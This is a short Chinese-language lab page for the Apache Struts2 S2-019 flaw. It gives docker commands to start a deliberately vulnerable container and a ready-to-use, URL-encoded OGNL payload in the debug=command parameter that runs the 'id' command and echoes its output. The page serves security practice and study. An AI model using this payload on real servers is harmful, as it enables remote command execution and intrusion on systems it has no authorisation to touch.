漏洞信息

详细参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

获取环境:

  1. 拉取镜像到本地 
    $ docker pull medicean/vulapps:s_struts2_s2-019
  2. 启动环境 
    $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-019

    -p 80:8080 前面的 80 代表物理机的端口，可随意指定。

使用与利用

访问 http://你的 IP 地址:端口号/

Exp

命令执行

?debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27id%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28%27dbapp%3A%27%2bnew%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%0A

其它

感谢 @zerokeeper 贡献